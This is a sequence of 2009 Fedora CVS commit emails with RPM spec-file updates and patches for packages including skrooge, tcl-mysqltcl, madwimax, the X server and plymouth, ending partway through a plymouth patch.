Message-ID: <20091008203158.6707D11C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30136

Modified Files:
	skrooge.spec sources 
Log Message:
* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
- Changed to final 0.5.2 version
- Bugfixes, including a nasty bug where one thinks the data is gone
- added HTML documentation
- added localizations



Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-11/skrooge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- skrooge.spec	22 Sep 2009 19:10:15 -0000	1.3
+++ skrooge.spec	8 Oct 2009 20:31:58 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        0.1.beta%{?dist}
+Release:        1%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -33,7 +33,6 @@ Summary:        Skrooge libraries
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
 Requires:       kdelibs4%{?_isa} >= %{kde4_version}
-Requires:       libofx
 
 %description libs
 Skrooge libraries
@@ -41,6 +40,9 @@ Skrooge libraries
 %prep
 %setup -q
 
+## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
+chmod -x skrooge_search/skgalarmboardwidget.h
+
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -53,6 +55,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
+%find_lang %{name}
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -97,12 +100,15 @@ update-desktop-database -q &> /dev/null
 update-mime-database %{_kde4_datadir}/mime &> /dev/null
 
 
-%files 
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS CHANGELOG COPYING README TODO 
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
+%{_kde4_docdir}/HTML/en/doc/*
+%{_kde4_docdir}/HTML/sv/%{name}/*
+%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
 %{_kde4_appsdir}/skrooge/images/*/*
@@ -123,6 +129,12 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_libdir}/*.so*
 
 %changelog
+* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
+- Changed to final 0.5.2 version
+- Bugfixes, including a nasty bug where one thinks the data is gone
+- added HTML documentation
+- added localizations
+
 * Tue Sep 22 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-0.1.beta
 - Changed to new upstream Version 0.5.2_beta (lots of bugfixes)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 19:10:15 -0000	1.3
+++ sources	8 Oct 2009 20:31:58 -0000	1.4
@@ -1 +1 @@
-25eb4a6c4ee4a7ac367b06aadab1be70  skrooge-0.5.2.tar.gz
+52887f432cea1fa9d611af971c1048b7  skrooge-0.5.2.tar.gz



From renep at fedoraproject.org  Thu Oct  8 20:41:26 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Thu,  8 Oct 2009 20:41:26 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/EL-5 import.log, 1.4, 1.5 tcl-mysqltcl.spec, 1.4,
	1.5
Message-ID: <20091008204126.876B411C00EC@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32571/EL-5

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
sync spec file on EL-5


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-5/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	7 Oct 2009 02:37:34 -0000	1.4
+++ import.log	8 Oct 2009 20:41:25 -0000	1.5
@@ -2,3 +2,4 @@ tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
+tcl-mysqltcl-3_05-6_fc11:EL-5:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255034445


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-5/tcl-mysqltcl.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- tcl-mysqltcl.spec	7 Oct 2009 02:37:34 -0000	1.4
+++ tcl-mysqltcl.spec	8 Oct 2009 20:41:25 -0000	1.5
@@ -18,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        5%{?dist}
+Release:        6%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
+- synchronize the spec file version for all branches
+
 * Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
 - Fix build on EL-4
 



From thomasj at fedoraproject.org  Thu Oct  8 20:56:16 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu,  8 Oct 2009 20:56:16 +0000 (UTC)
Subject: rpms/skrooge/F-10 skrooge.spec,1.3,1.4 sources,1.3,1.4
Message-ID: <20091008205617.1935C11C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3339

Modified Files:
	skrooge.spec sources 
Log Message:
* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
- Changed to final 0.5.2 version
- Bugfixes, including a nasty bug where one thinks the data is gone
- added HTML documentation
- added localizations



Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-10/skrooge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- skrooge.spec	22 Sep 2009 19:25:54 -0000	1.3
+++ skrooge.spec	8 Oct 2009 20:56:15 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        0.1.beta%{?dist}
+Release:        1%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -33,7 +33,6 @@ Summary:        Skrooge libraries
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
 Requires:       kdelibs4%{?_isa} >= %{kde4_version}
-Requires:       libofx
 
 %description libs
 Skrooge libraries
@@ -41,6 +40,9 @@ Skrooge libraries
 %prep
 %setup -q
 
+## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
+chmod -x skrooge_search/skgalarmboardwidget.h
+
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -53,6 +55,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
+%find_lang %{name}
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -97,12 +100,15 @@ update-desktop-database -q &> /dev/null
 update-mime-database %{_kde4_datadir}/mime &> /dev/null
 
 
-%files 
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS CHANGELOG COPYING README TODO 
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
+%{_kde4_docdir}/HTML/en/doc/*
+%{_kde4_docdir}/HTML/sv/%{name}/*
+%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
 %{_kde4_appsdir}/skrooge/images/*/*
@@ -123,6 +129,12 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_libdir}/*.so*
 
 %changelog
+* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
+- Changed to final 0.5.2 version
+- Bugfixes, including a nasty bug where one thinks the data is gone
+- added HTML documentation
+- added localizations
+
 * Tue Sep 22 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-0.1.beta
 - Changed to new upstream Version 0.5.2_beta (lots of bugfixes)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 19:25:54 -0000	1.3
+++ sources	8 Oct 2009 20:56:15 -0000	1.4
@@ -1 +1 @@
-25eb4a6c4ee4a7ac367b06aadab1be70  skrooge-0.5.2.tar.gz
+52887f432cea1fa9d611af971c1048b7  skrooge-0.5.2.tar.gz



From renep at fedoraproject.org  Thu Oct  8 20:58:05 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Thu,  8 Oct 2009 20:58:05 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-11 import.log, 1.1, 1.2 tcl-mysqltcl.spec, 1.1,
	1.2
Message-ID: <20091008205805.E567F11C00DB@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3673/F-11

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
sync spec file on F-11


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	6 Oct 2009 20:53:27 -0000	1.1
+++ import.log	8 Oct 2009 20:58:05 -0000	1.2
@@ -1 +1,2 @@
 tcl-mysqltcl-3_05-4_fc11:F-11:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862374
+tcl-mysqltcl-3_05-6_fc11:F-11:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255035420


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/tcl-mysqltcl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tcl-mysqltcl.spec	6 Oct 2009 20:53:27 -0000	1.1
+++ tcl-mysqltcl.spec	8 Oct 2009 20:58:05 -0000	1.2
@@ -1,3 +1,13 @@
+#needed for building on RHEL-4
+%if 0%{?rhel}
+  %if "%rhel" <= "4"
+    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
+    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
+    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
+    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
+  %endif
+%endif 
+
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -8,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        4%{?dist}
+Release:        6%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -61,6 +71,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
+- synchronize the spec file version for all branches
+
+* Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
+- Fix build on EL-4
+
 * Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
 - Removed unnecessary Obsoletes tag
 



From atorkhov at fedoraproject.org  Thu Oct  8 21:06:26 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Thu,  8 Oct 2009 21:06:26 +0000 (UTC)
Subject: rpms/madwimax/F-12 import.log, NONE, 1.1 madwimax.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008210626.BA65411C0297@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/madwimax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5602/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log madwimax.spec 
Log Message:
import



--- NEW FILE import.log ---
madwimax-0_1_1-2_local12:F-12:madwimax-0.1.1-2.local12.src.rpm:1255035933


--- NEW FILE madwimax.spec ---
Name:           madwimax
Version:        0.1.1
Release:        2%{?dist}
Summary:        Driver for mobile WiMAX devices based on Samsung CMC-730 chip

Group:          System Environment/Base
License:        GPLv2+
URL:            http://code.google.com/p/madwimax/
Source0:        http://madwimax.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:  libusb1-devel asciidoc docbook2X udev
Requires:       udev dhclient

%description
madWiMAX is a reverse-engineered Linux driver for mobile WiMAX (802.16e)
devices based on Samsung CMC-730 chip. These devices are currently supported:

    * Samsung SWC-U200
    * Samsung SWC-E100
    * Samsung SWM-S10R (built in Samsung NC-10 netbook)


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

mv $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/z60_madwimax.rules \
    $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/60-madwimax.rules


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README THANKS
%{_sbindir}/%{name}
%{_mandir}/man8/%{name}.8*

# These are not %config, but scripts
%{_sysconfdir}/%{name}
%{_sysconfdir}/udev/rules.d/*


%changelog
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Rename udev rules.
- Shorten description lines.

* Wed Sep 23 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- Initial packaging.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:29:25 -0000	1.1
+++ .cvsignore	8 Oct 2009 21:06:25 -0000	1.2
@@ -0,0 +1 @@
+madwimax-0.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:29:25 -0000	1.1
+++ sources	8 Oct 2009 21:06:26 -0000	1.2
@@ -0,0 +1 @@
+4ebd2d74e887e6f9d6f23067a4ad8272  madwimax-0.1.1.tar.gz



From atorkhov at fedoraproject.org  Thu Oct  8 21:12:07 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Thu,  8 Oct 2009 21:12:07 +0000 (UTC)
Subject: rpms/madwimax/F-11 import.log, NONE, 1.1 madwimax.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008211208.8F29411C02A0@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/madwimax/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6869/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log madwimax.spec 
Log Message:
import



--- NEW FILE import.log ---
madwimax-0_1_1-2_local12:F-11:madwimax-0.1.1-2.local12.src.rpm:1255036194


--- NEW FILE madwimax.spec ---
Name:           madwimax
Version:        0.1.1
Release:        2%{?dist}
Summary:        Driver for mobile WiMAX devices based on Samsung CMC-730 chip

Group:          System Environment/Base
License:        GPLv2+
URL:            http://code.google.com/p/madwimax/
Source0:        http://madwimax.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:  libusb1-devel asciidoc docbook2X udev
Requires:       udev dhclient

%description
madWiMAX is a reverse-engineered Linux driver for mobile WiMAX (802.16e)
devices based on Samsung CMC-730 chip. These devices are currently supported:

    * Samsung SWC-U200
    * Samsung SWC-E100
    * Samsung SWM-S10R (built in Samsung NC-10 netbook)


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

mv $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/z60_madwimax.rules \
    $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/60-madwimax.rules


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README THANKS
%{_sbindir}/%{name}
%{_mandir}/man8/%{name}.8*

# These are not %config, but scripts
%{_sysconfdir}/%{name}
%{_sysconfdir}/udev/rules.d/*


%changelog
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Rename udev rules.
- Shorten description lines.

* Wed Sep 23 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- Initial packaging.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:29:25 -0000	1.1
+++ .cvsignore	8 Oct 2009 21:12:05 -0000	1.2
@@ -0,0 +1 @@
+madwimax-0.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:29:25 -0000	1.1
+++ sources	8 Oct 2009 21:12:05 -0000	1.2
@@ -0,0 +1 @@
+4ebd2d74e887e6f9d6f23067a4ad8272  madwimax-0.1.1.tar.gz



From renep at fedoraproject.org  Thu Oct  8 21:28:34 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Thu,  8 Oct 2009 21:28:34 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-12 import.log, 1.1, 1.2 tcl-mysqltcl.spec, 1.1,
	1.2
Message-ID: <20091008212835.1BD0911C00DB@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13531/F-12

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
sync spec file on F-12


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	6 Oct 2009 21:02:56 -0000	1.1
+++ import.log	8 Oct 2009 21:28:32 -0000	1.2
@@ -1 +1,2 @@
 tcl-mysqltcl-3_05-4_fc11:F-12:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862945
+tcl-mysqltcl-3_05-6_fc11:F-12:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255037283


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/tcl-mysqltcl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tcl-mysqltcl.spec	6 Oct 2009 21:02:57 -0000	1.1
+++ tcl-mysqltcl.spec	8 Oct 2009 21:28:33 -0000	1.2
@@ -1,3 +1,13 @@
+#needed for building on RHEL-4
+%if 0%{?rhel}
+  %if "%rhel" <= "4"
+    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
+    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
+    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
+    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
+  %endif
+%endif 
+
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -8,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        4%{?dist}
+Release:        6%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -61,6 +71,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
+- synchronize the spec file version for all branches
+
+* Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
+- Fix build on EL-4
+
 * Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
 - Removed unnecessary Obsoletes tag
 



From ajax at fedoraproject.org  Thu Oct  8 21:37:05 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Thu,  8 Oct 2009 21:37:05 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xserver-1.7.0-randr-gamma-restore.patch, 
	NONE, 1.1
Message-ID: <20091008213705.49EF311C00DB@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17335

Added Files:
	xserver-1.7.0-randr-gamma-restore.patch 
Log Message:
* Thu Oct 08 2009 Adam Jackson <ajax at redhat.com> 1.7.0-2
- xserver-1.7.0-randr-gamma-restore.patch: Restore CRTC gamma on EnterVT.


xserver-1.7.0-randr-gamma-restore.patch:
 loader/sdksyms.c    |    4 ++++
 modes/xf86RandR12.c |    7 ++++++-
 2 files changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE xserver-1.7.0-randr-gamma-restore.patch ---
>From 18d2bd8cb513a0436739916620532247f13dbf03 Mon Sep 17 00:00:00 2001
From: Fedora X Ninjas <x at fedoraproject.org>
Date: Thu, 8 Oct 2009 15:25:24 -0400
Subject: [PATCH] randr gamma reload hack

---
 hw/xfree86/loader/sdksyms.c    |    4 ++++
 hw/xfree86/modes/xf86RandR12.c |    6 ++++++
 2 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/hw/xfree86/loader/sdksyms.c b/hw/xfree86/loader/sdksyms.c
index 12af6b7..656d07b 100644
--- a/hw/xfree86/loader/sdksyms.c
+++ b/hw/xfree86/loader/sdksyms.c
@@ -1056,6 +1056,8 @@ _X_HIDDEN void *xorg_symbols[] = {
     (void *) &noXFree86VidModeExtension,
     (void *) &noXFixesExtension,
     (void *) &noPanoramiXExtension,
+    (void *) &noSELinuxExtension,
+    (void *) &selinuxEnforcingState,
     (void *) &noXvExtension,
     (void *) &noDRI2Extension,
     (void *) &defaultTextFont,
@@ -1069,6 +1071,7 @@ _X_HIDDEN void *xorg_symbols[] = {
     (void *) &defaultScreenSaverBlanking,
     (void *) &defaultScreenSaverAllowExposures,
     (void *) &display,
+    (void *) &displayfd,
     (void *) &defaultBackingStore,
     (void *) &disableBackingStore,
     (void *) &enableBackingStore,
@@ -1078,6 +1081,7 @@ _X_HIDDEN void *xorg_symbols[] = {
     (void *) &maxBigRequestSize,
     (void *) &party_like_its_1989,
     (void *) &whiteRoot,
+    (void *) &bgNoneRoot,
     (void *) &CoreDump,
     (void *) &DontPropagateMasks,
     (void *) &screenIsSaved,
diff --git a/hw/xfree86/modes/xf86RandR12.c b/hw/xfree86/modes/xf86RandR12.c
index 6ea9d26..41bac11 100644
--- a/hw/xfree86/modes/xf86RandR12.c
+++ b/hw/xfree86/modes/xf86RandR12.c
@@ -1746,12 +1746,18 @@ xf86RandR12EnterVT (int screen_index, int flags)
 {
     ScreenPtr        pScreen = screenInfo.screens[screen_index];
     XF86RandRInfoPtr randrp  = XF86RANDRINFO(pScreen);
+    rrScrPrivPtr     rp = rrGetScrPriv(pScreen);
 
     if (randrp->orig_EnterVT) {
 	if (!randrp->orig_EnterVT (screen_index, flags))
 	    return FALSE;
     }
 
+    /* reload gamma */
+    int i;
+    for (i = 0; i < rp->numCrtcs; i++)
+	xf86RandR12CrtcSetGamma(pScreen, rp->crtcs[i]);
+
     return RRGetInfo (pScreen, TRUE); /* force a re-probe of outputs and notify clients about changes */
 }
 
-- 
1.6.5.rc2




From rstrode at fedoraproject.org  Thu Oct  8 21:50:01 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu,  8 Oct 2009 21:50:01 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-details-clear-screen.patch, NONE,
	1.1 fix-emergency-shell.patch, NONE, 1.1 plymouth.spec, 1.153, 1.154
Message-ID: <20091008215001.DC67411C00DB@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22397

Modified Files:
	plymouth.spec 
Added Files:
	fix-details-clear-screen.patch fix-emergency-shell.patch 
Log Message:
- Fix emergency shell horkage (bug 526597)
- Fix problem with details splash not showing up (bug 527426, bug 527254)


fix-details-clear-screen.patch:
 b/src/libplybootsplash/ply-renderer.c |   13 +++++++++++--
 src/libplybootsplash/ply-renderer.c   |   12 +++---------
 2 files changed, 14 insertions(+), 11 deletions(-)

--- NEW FILE fix-details-clear-screen.patch ---
>From bda90f63c1194a312426eb2528f37f505672d8f9 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 15:59:15 -0400
Subject: [PATCH 1/2] [renderer] make map and unmap idempotent

---
 src/libplybootsplash/ply-renderer.c |   12 +++++++++++-
 1 files changed, 11 insertions(+), 1 deletions(-)

diff --git a/src/libplybootsplash/ply-renderer.c b/src/libplybootsplash/ply-renderer.c
index 0966418..7c6695f 100644
--- a/src/libplybootsplash/ply-renderer.c
+++ b/src/libplybootsplash/ply-renderer.c
@@ -54,6 +54,7 @@ struct _ply_renderer
   ply_console_t *console;
 
   uint32_t input_source_is_open : 1;
+  uint32_t is_mapped : 1;
 };
 
 typedef const ply_renderer_plugin_interface_t *
@@ -199,7 +200,12 @@ ply_renderer_map_to_device (ply_renderer_t *renderer)
   assert (renderer != NULL);
   assert (renderer->plugin_interface != NULL);
 
-  return renderer->plugin_interface->map_to_device (renderer->backend);
+  if (renderer->is_mapped)
+    return true;
+
+  renderer->is_mapped = renderer->plugin_interface->map_to_device (renderer->backend);
+
+  return renderer->is_mapped;
 }
 
 static void
@@ -208,7 +214,11 @@ ply_renderer_unmap_from_device (ply_renderer_t *renderer)
   assert (renderer != NULL);
   assert (renderer->plugin_interface != NULL);
 
+  if (!renderer->is_mapped)
+    return;
+
   renderer->plugin_interface->unmap_from_device (renderer->backend);
+  renderer->is_mapped = false;
 }
 
 bool
-- 
1.6.5.rc2


>From 89f07b8f81da2eddf31758d990d9cb262f2ba0ae Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 16:01:56 -0400
Subject: [PATCH 2/2] [renderer] map buffer lazily

This is to prevent screen clears on plugins that don't
use the renderers (text plugins)
---
 src/libplybootsplash/ply-renderer.c |   11 +++--------
 1 files changed, 3 insertions(+), 8 deletions(-)

diff --git a/src/libplybootsplash/ply-renderer.c b/src/libplybootsplash/ply-renderer.c
index 7c6695f..591af2c 100644
--- a/src/libplybootsplash/ply-renderer.c
+++ b/src/libplybootsplash/ply-renderer.c
@@ -264,14 +264,6 @@ ply_renderer_open (ply_renderer_t *renderer)
           continue;
         }
 
-      if (!ply_renderer_map_to_device (renderer))
-        {
-          ply_trace ("could not map renderer to device for plugin %s",
-                     plugin_path);
-          ply_renderer_close_device (renderer);
-          ply_renderer_unload_plugin (renderer);
-          continue;
-        }
       return true;
   }
 
@@ -314,6 +306,9 @@ ply_renderer_flush_head (ply_renderer_t      *renderer,
   assert (renderer->plugin_interface != NULL);
   assert (head != NULL);
 
+  if (!ply_renderer_map_to_device (renderer))
+    return;
+
   renderer->plugin_interface->flush_head (renderer->backend, head);
 }
 
-- 
1.6.5.rc2


fix-emergency-shell.patch:
 b/src/libplybootsplash/ply-renderer.c |   13 ++++++++++---
 b/src/libplybootsplash/ply-terminal.c |    4 ++--
 b/src/main.c                          |    3 ++-
 src/main.c                            |    7 +++----
 4 files changed, 17 insertions(+), 10 deletions(-)

--- NEW FILE fix-emergency-shell.patch ---
>From 288c110fa1e35b0bf32f0e3480cf677e83a5bc23 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 8 Oct 2009 15:22:27 -0400
Subject: [PATCH 1/4] [main] Disconnect from tty when hiding splash

We were still processing keystrokes when the splash screen was
hidden. This caused problems because the tty is used by other
programs at that time.
---
 src/main.c |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/src/main.c b/src/main.c
index 31f2b1e..6f8c6bd 100644
--- a/src/main.c
+++ b/src/main.c
@@ -549,6 +549,8 @@ remove_displays_and_keyboard (state_t *state)
       node = next_node;
     }
 
+  ply_keyboard_stop_watching_for_input (state->keyboard);
